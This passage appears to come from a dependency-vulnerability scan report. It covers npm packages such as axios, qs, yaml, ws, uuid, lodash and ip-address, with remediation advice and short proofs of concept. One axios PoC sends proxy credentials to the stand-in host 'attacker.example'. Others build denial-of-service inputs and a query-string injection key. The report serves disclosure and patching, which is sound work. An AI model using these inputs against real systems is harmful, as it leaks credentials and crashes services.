Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.2 or higher.
References
Server-side Request Forgery (SSRF)
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.
Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Prototype Pollution
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Insertion of Sensitive Information Into Sent Data
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.
Note:
This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).
Workaround
This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.
PoC
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
Improper Validation of Specified Quantity in Input
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via unsafe runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization or allowlist enforcement. An attacker who can influence request configuration can supply option values that override Axios-owned fields (such as signal, method, headers, or body) or inject unexpected fetch option keys, causing the request pipeline to crash and producing a denial of service.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Improper Validation of Specified Quantity in Input
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via unsafe runtime option handling in the fetch and HTTP adapters, where user-supplied fetchOptions are merged into the resolved request options without sanitization or allowlist enforcement. An attacker who can influence request configuration can supply option values that override Axios-owned fields (such as signal, method, headers, or body) or inject unexpected fetch option keys, causing the request pipeline to crash and producing a denial of service.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Server-side Request Forgery (SSRF)
Detailed paths
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via unsafe merging of user-supplied fetchOptions into the resolved request options object in lib/adapters/fetch.js. An attacker who controls request configuration can supply a fetchOptions object with prototype-polluting keys (e.g. __proto__ or constructor), which are spread directly into the options passed to the Fetch API without sanitization, allowing pollution of Object.prototype and affecting downstream system-level behaviour. The fix replaces the spread with Object.assign(Object.create(null), fetchOptions) to strip inherited properties and enforces an allowlist of safe Fetch API keys.
Note: This is only exploitable when the attacker can influence the fetchOptions configuration passed to axios requests.
Remediation
Upgrade axios to version 1.20.0 or higher.
References
Uncontrolled Recursion
Detailed paths
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion in the compose/resolve phase due to using recursive function calls without a depth bound. An attacker can cause the application to throw a RangeError and potentially terminate the Node.js process by supplying a deeply nested YAML payload that exhausts the call stack.
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
Remediation
Upgrade yaml to version 1.10.3, 2.8.3 or higher.
References
Use of Uninitialized Resource
Detailed paths
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Use of Uninitialized Resource in the websocket.close() implementation in the Sender class, which exposes uninitialized memory when a TypedArray is provided as the reason argument.
Note: The project maintainers note that this "flaw is only exploitable through misuse that is unlikely in practice".
PoC
import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer(
{ port: 0, skipUTF8Validation: true },
function () {
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`, {
skipUTF8Validation: true
});
ws.on('close', function (code, reason) {
deepStrictEqual(reason, Buffer.alloc(80));
});
}
);
wss.on('connection', function (ws) {
ws.close(1000, new Float32Array(20));
});
Remediation
Upgrade ws to version 8.20.1 or higher.
References
Improper Validation of Specified Index, Position, or Offset in Input
Detailed paths
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
NULL Pointer Dereference
Detailed paths
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the stringify() function, when processing arrays with the options arrayFormat: 'comma' and encodeValuesOnly: true that contain null or undefined elements. An attacker can cause errors by supplying mailcious input that results in these options being used with arrays containing null or undefined values. This only causes a crash if application code makes calls outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or explicitly disables framework error handling.
PoC
const qs = require('qs');
qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });
qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });
Remediation
Upgrade qs to version 6.15.2 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the parseArrayValue() comma-parsing logic, which applies the arrayLimit and throwOnLimitExceeded checks only to flat values, so a bracket-key input such as a[]=1,2,3,4 is treated as non-flat and its comma-split inner array is wrapped after parsing without ever being length-checked. An attacker can exceed the configured array limit and force excessive memory allocation by supplying a query string or form body that uses the bracket-key comma form, for example a[]=1,2,3,.... This requires the application to parse untrusted input with the comma: true option enabled alongside a configured arrayLimit or throwOnLimitExceeded.
PoC
const qs = require('qs')
const options = { comma: true, arrayLimit: 3, throwOnLimitExceeded: true }
const result = qs.parse('a[]=1,2,3,4', options)
console.log(result.a[0].length) // 4; expected RangeError
const big = qs.parse('a[]=' + '1,'.repeat(1000000) + '1', { comma: true, arrayLimit: 20 })
console.log(big.a[0].length) // 1000001
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade qs to version 6.16.0 or higher.
References
Uncaught Exception
Detailed paths
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Uncaught Exception in the isBuffer() function in lib/utils.js, which calls obj.constructor.isBuffer(obj) without checking that it is callable, reached from stringify() at lib/stringify.js:127. An attacker can throw an uncaught TypeError that fails each request with HTTP 500, and terminates the worker process when stringify() runs in an unguarded async context, by supplying a query string such as x[constructor][isBuffer]=y that sets constructor.isBuffer to a non-function value. This requires the application to call qs.parse() with plainObjects: true or allowPrototypes: true, which preserves the constructor own property, and to then pass the parsed result to qs.stringify().
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade qs to version 6.16.0 or higher.
References
Improper Encoding or Escaping of Output
Detailed paths
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the stringify function when the allowEmptyArrays option is enabled. When an object key contains special characters (such as &, =, or #) and its value is an empty array, the key is returned without encoding, allowing an attacker who controls a key name to inject arbitrary query-string parameters or URL fragments into the serialized output. A consumer that parses the resulting string will see attacker-controlled key-value pairs that were not present in the original object.
PoC
var qs = require("qs");
var query = qs.stringify({ q: "hi", "x&apiKey=evil&y": [] }, { allowEmptyArrays: true });
// "q=hi&x&apiKey=evil&y[]"
qs.parse(query);
// { q: "hi", x: "", apiKey: "evil", y: [""] }
qs.stringify({ "x#": [], z: "1" }, { allowEmptyArrays: true });
// "x#[]&z=1": in a URL, everything after "#" becomes the fragment
Note: The PoC uses the qs npm package with the allowEmptyArrays option and states no specific runtime version or operating system.
Remediation
Upgrade qs to version 6.16.2 or higher.
References
Asymmetric Resource Consumption (Amplification)
Detailed paths
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) in the firstPhasePreProcess method, where the **/.. transform clones a globParts entry and pushes the clone back onto the same array inside a do...while (didSomething) fixpoint loop. An attacker can exhaust CPU and memory by supplying a glob pattern whose **/.. sequences regenerate entries during preprocessing, which secondPhasePreProcess then compares in an O(n^2) pairwise partsMatch pass over the expanded set. Exploitation requires the pattern to be parsed with optimizationLevel set to 2 or higher.
Remediation
Upgrade minimatch to version 11.0.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash-es to version 4.18.1 or higher.
References
Prototype Pollution
Detailed paths
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
Cross-site Scripting (XSS)
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the group, link, and spanAll functions, as well as the parseMessage field of thrown errors. An attacker can execute arbitrary JavaScript in the context of the application by supplying crafted input that is rendered as HTML. This is only exploitable if untrusted input is passed to the relevant functions and their output is rendered as HTML (e.g., via innerHTML).
Workaround
This vulnerability can be mitigated by not passing untrusted input to the constructor, never rendering the output of the affected functions or error fields as HTML, treating these values as text only, sanitizing output with DOMPurify before inserting into the DOM, or validating input to reject zone identifiers or invalid characters.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade ip-address to version 10.1.1 or higher.
References
Server-side Request Forgery (SSRF)
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through improper handling of IPv4 addresses with leading zeros in the Address4. An attacker can bypass network trust-boundary checks by submitting specially crafted IP addresses that are interpreted differently by the library and the underlying network resolver, potentially allowing unauthorized access to internal resources.
Remediation
Upgrade ip-address to version 10.3.1 or higher.
References
Improper Validation of Specified Type of Input
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via isHostInSubnet() (and isInSubnet() which delegates to it), which compares masked binary strings without first verifying that both addresses belong to the same address family. Because Address4 pads its binary representation to 32 bits and Address6 pads to 128 bits, leading bit sequences can coincide across families, causing an IPv6 address to be incorrectly reported as contained within an IPv4 subnet and vice versa (for example, a00::1 is evaluated as inside 10.0.0.0/8). An attacker who controls an IP address value passed to a subnet membership check can bypass trust-boundary decisions such as SSRF allow/deny filters by supplying an address of the opposite family.
Remediation
Upgrade ip-address to version 10.7.1 or higher.
References
Incorrect Behavior Order
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Incorrect Behavior Order via the isLinkLocal() method, which incorrectly compared only the first 64 bits of an IPv6 address against the fixed pattern fe80:0:0:0, effectively recognising only fe80::/64 as link-local. Addresses within the full fe80::/10 range defined by RFC 4291 §2.4 - such as fe81::1, febf::1, or fe80:0:0:1::1 - are incorrectly classified as non-link-local, causing the library to disagree with itself because getType() and getScope() already matched the correct /10 subnet. An attacker can exploit this inconsistency to bypass link-local address checks in applications that rely on isLinkLocal() for access control or routing decisions.
Remediation
Upgrade ip-address to version 10.5.1 or higher.
References
Allocation of Resources Without Limits or Throttling
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Address6.isValid() method (and the Address4 constructor) when parsing an oversized input string. The bad-character diagnostic wraps every offending character in an HTML <span> element, so an N-byte string of punctuation produces approximately 106N bytes of output and triggers a synchronous String.replace over the entire result. An 8 MiB input takes roughly 529 ms and 895 MB of memory, a 16 MiB input causes a RangeError by exceeding V8's maximum string length, and a 32 MiB input causes V8 to abort the process entirely with a fatal invalid-size error.
Note: Material impact occurs only when an application accepts a very large attacker-controlled field and passes it to Address6 or Address4 parsing without an earlier length bound.
Remediation
Upgrade ip-address to version 10.7.1 or higher.
References
Regular Expression Denial of Service (ReDoS)
Detailed paths
Overview
ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Address6 constructor in src/ipv6.ts, where the RE_ZONE_STRING regular expression (/%.*$/) is applied to strip an IPv6 zone identifier before enforcing the 45-character limit. Because the pattern has no leading anchor and . does not cross line terminators, every % character in the input becomes a candidate start position that the engine scans forward until it fails at a newline, producing O(N²) backtracking. An attacker can supply a string of % characters followed by a newline to Address6.isValid() and cause processing time to grow quadratically - measured at 13 ms for 5,461 characters, 3.9 s for 100 KB, and 27 s for 256 KB of input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ip-address to version 10.7.4 or higher.
References
Inefficient Algorithmic Complexity
Detailed paths
Overview
golang.org/x/net/html is a package that implements an HTML5-compliant tokenizer and parser.
